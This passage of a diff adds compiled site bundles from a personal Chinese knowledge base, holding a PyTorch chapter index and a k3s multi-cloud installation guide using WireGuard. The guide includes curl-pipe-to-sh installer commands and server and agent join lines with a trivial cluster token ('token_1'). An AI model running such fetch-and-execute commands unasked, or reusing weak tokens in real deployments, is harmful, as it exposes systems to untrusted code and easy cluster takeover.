EBoJAAAgNBIAAAAoZEAAABCIwEAAIRGAgAACI0EAAAQGgkAACA0EgAAQGgkAACA0EgAAAChkQAAAEIjAQAAhEYCAAAIjQQAABCTYRjGju++e8dZv/S7t3bMVtWBB7bMbrNNyywAALC28R4JAAAgNBIAAEBoJAAAgNBIAAAAoZEAAABCIwEAAIRGAgAACI0EAAAQGgkAACA0EgAAQGgkAACA0EgAAAChkQAAAEIjAQAAhEYCAAAIjQQAABAaCQAAIDQSAABAaCQAAIDQSAAAAKGRAAAAQiMBAACERgIAAAiNBAAAEBoJAAAgNBIAAEBoJAAAgNBIAAAAi3ltvgAAAEtJREFUMRmGYa6/BwAAgLWF90gAAAChkQAAAEIjAQAAhEYCAAAIjQQAABAaCQAAIDQSAABAaCQAAIDQSAAAAKGRAAAAQiMBAADE/wWShVU4O1ivXwAAAABJRU5ErkJggg=="},88062:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/ft_gradient-3c7c64891c99ec1b3222e973cbfda993.png"}}]); \ No newline at end of file diff --git a/en/assets/js/8b0e9b92.1a2259a5.js b/en/assets/js/8b0e9b92.1a2259a5.js new file mode 100644 index 0000000..6e7f350 --- /dev/null +++ b/en/assets/js/8b0e9b92.1a2259a5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[60],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},41544:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/README","title":"\u7b2c\u56db\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.9 \u4f18\u5316\u5668.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"},"next":{"title":"4.1 ResNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u56db\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u56db\u7ae0",children:"\u7b2c\u56db\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:47"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u56db\u7ae0pytorch\u57fa\u7840\u5b9e\u6218",children:"\u7b2c\u56db\u7ae0\uff1aPyTorch\u57fa\u7840\u5b9e\u6218"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n4.1 ResNet\n4.2 GoogLeNet\n4.3 DenseNet\n4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/8f006e34.ffb1768a.js b/en/assets/js/8f006e34.ffb1768a.js new file mode 100644 index 0000000..1434853 --- /dev/null +++ b/en/assets/js/8f006e34.ffb1768a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6595],{28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>d});var i=s(96540);const l={},r=i.createContext(l);function c(e){const n=i.useContext(r);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:c(e.components),i.createElement(r.Provider,{value:n},e.children)}},72654:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>h,contentTitle:()=>d,default:()=>a,frontMatter:()=>c,metadata:()=>i,toc:()=>t});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README","title":"k3s\u5b89\u88c5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Kubelet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet"},"next":{"title":"Linux\u63d0\u6743","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"}}');var l=s(74848),r=s(28453);const c={},d="k3s\u5b89\u88c5",h={},t=[{value:"\u5b89\u88c5k3s",id:"\u5b89\u88c5k3s",level:2},{value:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",id:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",level:2},{value:"WireGuard\u7ec4\u7f51\uff08\u5185\u7f51\u96a7\u9053\u642d\u5efa\uff09",id:"wireguard\u7ec4\u7f51\u5185\u7f51\u96a7\u9053\u642d\u5efa",level:2},{value:"\u524d\u63d0",id:"\u524d\u63d0",level:3},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72",level:3},{value:"\u81ea\u52a8\u5316\u914d\u7f6e",id:"\u81ea\u52a8\u5316\u914d\u7f6e",level:3},{value:"\u914d\u7f6e\u70ed\u91cd\u8f7d",id:"\u914d\u7f6e\u70ed\u91cd\u8f7d",level:3},{value:"\u90e8\u7f72server",id:"\u90e8\u7f72server",level:2},{value:"\u90e8\u7f72agent",id:"\u90e8\u7f72agent",level:2},{value:"\u5b89\u88c5ingres-nginx",id:"\u5b89\u88c5ingres-nginx",level:2}];function x(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"k3s\u5b89\u88c5",children:"k3s\u5b89\u88c5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:34:06"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"\u5355\u4e91\u90e8\u7f72k3s",children:"\u5355\u4e91\u90e8\u7f72k3s"}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5k3s",children:"\u5b89\u88c5k3s"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e\u9ed8\u8ba4k3s\u5b89\u88c5\u4f1a\u5b89\u88c5",(0,l.jsx)(n.code,{children:"traefik"}),"\uff0c\u800c\u6211\u7528\u60ef\u4e86",(0,l.jsx)(n.code,{children:"ingress-nginx"}),"\u6240\u4ee5\u5c31\u79fb\u9664\u4e86",(0,l.jsx)(n.code,{children:"traefik"}),"\u7684\u5b89\u88c5"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'# k3s v1.25+ \u4e4b\u540e flag \u2013no-deploy \u5f03\u7528\uff0c\u66f4\u6539\u4e3a \u2013disable\uff0c\u4f46\u5b89\u88c5\u524d\u9700\u8981\u786e\u8ba4 rancher \u652f\u6301\u7684 k3s \u7248\u672c\u8303\u56f4\uff0c\u76ee\u524d v1.25+ \u4e0d\u5728 rancher \u652f\u6301\u8303\u56f4\u5185\uff0c\u9700\u8981\u4f7f\u7528\u73af\u5883\u53d8\u91cf INSTALL_K3S_VERSION \u6307\u5b9a\u5b89\u88c5\u7248\u672c\n export INSTALL_K3S_EXEC="server --disable traefik"\n'})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh -\nsudo cp /etc/rancher/k3s/k3s.yaml $HOME/.kube/config\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",children:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx"}),"\n",(0,l.jsx)(n.p,{children:"\u5b89\u88c5helm"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"wget https://get.helm.sh/helm-v3.14.3-linux-amd64.tar.gz && tar -zxvf helm-v3.14.3-linux-amd64.tar.gz -C /tmp && mv /tmp/linux-amd64/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6dfb\u52a0",(0,l.jsx)(n.code,{children:"ingress-nginx"})," \u5b98\u65b9\u4ed3\u5e93"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx\nhelm repo update\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u83b7\u53d6 ",(0,l.jsx)(n.code,{children:"ingress-nginx"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm pull ingress-nginx/ingress-nginx\ntar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # \u6ce8\u610f\u60a8\u4e0b\u7684\u7248\u672c\u8fdb\u884c\u89e3\u538b\ncd ingress-nginx\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u56fd\u5185\u955c\u50cf\u5730\u5740"}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"controller"}),"\u7684",(0,l.jsx)(n.code,{children:"\u955c\u50cf\u5730\u5740"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336377.png-.png",alt:"image-20240314125144515"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65e0",(0,l.jsx)(n.code,{children:"hostNetwork"})," \u4fee\u6539"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-yaml",children:'default:\n .....\n externalTrafficPolicy: "Local"\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336378.png-.png",alt:"image-20240314185220229"})}),"\n",(0,l.jsx)(n.h1,{id:"\u591a\u4e91\u90e8\u7f72k3s",children:"\u591a\u4e91\u90e8\u7f72k3s"}),"\n",(0,l.jsx)(n.h2,{id:"wireguard\u7ec4\u7f51\u5185\u7f51\u96a7\u9053\u642d\u5efa",children:"WireGuard\u7ec4\u7f51\uff08\u5185\u7f51\u96a7\u9053\u642d\u5efa\uff09"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e\u4e70\u7684\u56fd\u5185\u5382\u5546\u6253\u6298\u670d\u52a1\u5668\uff0c\u5927\u90e8\u5206\u60c5\u51b5\u4e0b\u90fd\u65e0\u6cd5\u5728\u540c\u4e00\u5bb6\u5382\u5546\u4e70\u5230\u591a\u53f0\u4f18\u60e0\u670d\u52a1\u5668\uff0c\u6b64\u65f6\u60f3\u642d\u5efa K3S \u96c6\u7fa4\u5c31\u9700\u8981\u8d70\u516c\u7f51\uff0c\u76f4\u63a5\u901a\u8fc7K3S \u7684\u5b89\u88c5\u65b9\u5f0f\u8282\u70b9\u4e4b\u95f4\u65e0\u6cd5\u901a\u4fe1\uff0c\u56e0\u6b64\u9700\u8981\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"WireGuard"}),"\u6765\u7ec4\u7f51\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u524d\u63d0",children:"\u524d\u63d0"}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u642d\u5efa\u8de8\u4e91\u7684 ",(0,l.jsx)(n.code,{children:"k3s"})," \u96c6\u7fa4\u524d\uff0c\u9700\u8981\u5148\u628a ",(0,l.jsx)(n.code,{children:"WireGuard"})," \u5b89\u88c5\u597d\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"})," \u5bf9\u5185\u6838\u6709\u8981\u6c42\uff0c\u8981\u5347\u7ea7\u5230 ",(0,l.jsx)(n.code,{children:"5.15.2-1.el7.elrepo.x86_64"}),"\u4ee5\u4e0a"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e76\u4e14\u5f00\u542fIP\u8f6c\u53d1"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:'echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf\n\necho "net.ipv4.conf.all.proxy_arp = 1" >> /etc/sysctl.conf\n\nsysctl -p /etc/sysctl.conf\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u4e3b\u673a\u540d\u79f0"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"hostnamectl set-hostname k3s-xxx\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,l.jsx)(n.code,{children:"WireGuard"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"apt install wireguard\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u6240\u6709\u4e3b\u673a\u4e0a\u4f7f\u7528\u4e00\u4e0b\u547d\u4ee4\u751f\u6210\uff0c\u516c\u79c1\u94a5\uff08\u7528\u4e8e\u5185\u7f51\u52a0\u5bc6\u901a\u8baf\u4f7f\u7528\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"wg genkey | tee privatekey | wg pubkey > publickey\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5bc6\u94a5\u662f\u914d\u7f6e\u5230\u672c\u673a\u7684\uff0c\u800c\u516c\u94a5\u662f\u914d\u7f6e\u5230\u5176\u5b83\u673a\u5668\u91cc\u7684,\u7ed3\u679c\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:"cat privatekey publickey\nEMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA=\n0ay8WfGOIHndWklSIVBqrsp5LDWxxxxxxxxxxxxxxQ=\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:"\u7136\u540e\u7f16\u5199\u914d\u7f6e\u6587\u4ef6\uff0c\u4ee5\u4f9b wg-quick \u4f7f\u7528\n\nvim /etc/wireguard/wg0.conf\n\u7136\u540e\u5199\u5165\u5982\u4e0b\u5185\u5bb9\n\n[Interface]\nPrivateKey = EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA= #\uff08\u672c\u673a\u751f\u6210\u7684\u79c1\u94a5\uff09\nAddress = 192.168.2.1\nListenPort = 5418\n\n[Peer]\nPublicKey = Node-1\u670d\u52a1\u5668\u7684 publickey\u540e\u7eedNode-1\u751f\u6210\u540e\u518d\u6539\nEndPoint = (Node-1\u516c\u7f51IP):5418\nAllowedIPs = 192.168.2.2(Node-1\u5185\u7f51IP)/32\n[Peer]\nPublicKey = Node-2\u670d\u52a1\u5668\u7684 publickey\u540e\u7eedNode-2\u751f\u6210\u540e\u518d\u6539\nEndPoint = (Node-2\u516c\u7f51IP):5418\nAllowedIPs = 192.168.2.3\uff08Node-2\u5185\u7f51IP\uff09/32\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u540c\u7406\u5176\u4ed6\u8282\u70b9\u5747\u4f7f\u7528\u8fd9\u4e2a"}),"\n",(0,l.jsx)(n.h3,{id:"\u90e8\u7f72",children:"\u90e8\u7f72"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"wg-quick up wg0\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u81ea\u52a8\u5316\u914d\u7f6e",children:"\u81ea\u52a8\u5316\u914d\u7f6e"}),"\n",(0,l.jsxs)(n.p,{children:["\u7cfb\u7edf\u91cd\u542f\u540e\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"})," \u521b\u5efa\u7684\u7f51\u5361\u8bbe\u5907\u5c31\u4f1a\u4e22\u5931\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"}),"\u63d0\u4f9b\u4e86\u81ea\u52a8\u5316\u7684\u811a\u672c\u6765\u89e3\u51b3\u8fd9\u4ef6\u4e8b\uff0c\u5728\u4e24\u53f0\u670d\u52a1\u5668\u90fd\u6267\u884c\u5982\u4e0b\u64cd\u4f5c"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"systemctl enable wg-quick@wg0\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4f7f\u7528\u4e0a\u8ff0\u547d\u4ee4\u751f\u6210 systemd \u5b88\u62a4\u811a\u672c\uff0c\u5f00\u673a\u4f1a\u81ea\u52a8\u8fd0\u884c up \u6307\u4ee4\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e\u70ed\u91cd\u8f7d",children:"\u914d\u7f6e\u70ed\u91cd\u8f7d"}),"\n",(0,l.jsxs)(n.p,{children:["wg-quick \u5e76\u672a\u63d0\u4f9b\u91cd\u8f7d\u76f8\u5173\u7684\u6307\u4ee4\uff0c\u4f46\u662f\u63d0\u4f9b\u4e86 ",(0,l.jsx)(n.code,{children:"strip"})," \u6307\u4ee4\uff0c\u53ef\u4ee5\u5c06 conf \u6587\u4ef6\u8f6c\u6362\u4e3a wg \u6307\u4ee4\u53ef\u4ee5\u8bc6\u522b\u7684\u683c\u5f0f\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"wg syncconf wg0 <(wg-quick strip wg0)\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5373\u53ef\u5b9e\u73b0\u70ed\u91cd\u8f7d\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u5b8c\u6210 ",(0,l.jsx)(n.code,{children:"WireGuard"})," \u7684\u5b89\u88c5\u914d\u7f6e\u4ee5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u5b89\u88c5 k3s \u7684\u96c6\u7fa4\u4e86\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u90e8\u7f72server",children:"\u90e8\u7f72server"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539\u5bf9\u5e94\u7684\u5916\u90e8ip ",(0,l.jsx)(n.code,{children:"$SERVER_IP -> 101.43.95.147"})," ,",(0,l.jsx)(n.code,{children:"$SERVER_VIRTUAL_IP=192.168.2.1"})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-ip "$SERVER_VIRTUAL_IP" --node-external-ip="$SERVER_IP" --flannel-backend=wireguard-native --flannel-external-ip --flannel-iface wg0\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u90e8\u7f72agent",children:"\u90e8\u7f72agent"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539\u5bf9\u5e94\u7684\u5916\u90e8ip ",(0,l.jsx)(n.code,{children:"$AGENT_IP -> xx.xx.xx.xx"})," ",(0,l.jsx)(n.code,{children:"$AGENT_VIRTUAL_IP"})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | K3S_URL=https://101.43.95.147:6443 INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-external-ip="$AGENT_IP" --node-ip $AGENT_VIRTUAL_IP --flannel-iface wg0\n'})}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5ingres-nginx",children:"\u5b89\u88c5ingres-nginx"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u5b89\u88c5\u65b9\u5f0f\u4e0ek8s\u4fdd\u6301\u4e00\u81f4"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx\nhelm repo update\nhelm pull ingress-nginx/ingress-nginx\ntar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # \u6ce8\u610f\u60a8\u4e0b\u7684\u7248\u672c\u8fdb\u884c\u89e3\u538b\ncd ingress-nginx\nvim values.yaml\n"})}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u56fd\u5185\u955c\u50cf\u5730\u5740"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336380.png-.png",alt:"image-20240315095558135"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336381.png-.png",alt:"image-20240315095625640"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"hostNetwork"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336382.png-.png",alt:"image-20240315095709258"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"dnsPolicy"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336383.png-.png",alt:"image-20240315095733235"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm install -n ingress-nginx ingress-nginx/ingress-nginx .\n"})}),"\n",(0,l.jsx)(n.h1,{id:"referer",children:"Referer"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://docs.k3s.io/zh/quick-start",children:"\u5b98\u65b9\u624b\u518c"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsxs)(n.a,{href:"https://mmxblog.com/p-7005/Mmx.html",children:["\u5b89\u88c5",(0,l.jsx)(n.code,{children:"ingress-nginx"})]})}),"\n"]})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(x,{...e})}):x(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/9007efc1.d4219a8d.js b/en/assets/js/9007efc1.d4219a8d.js new file mode 100644 index 0000000..80a36d8 --- /dev/null +++ b/en/assets/js/9007efc1.d4219a8d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3262],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var o=n(96540);const s={},r=o.createContext(s);function l(e){const t=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),o.createElement(r.Provider,{value:t},e.children)}},61573:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>o,toc:()=>d});const 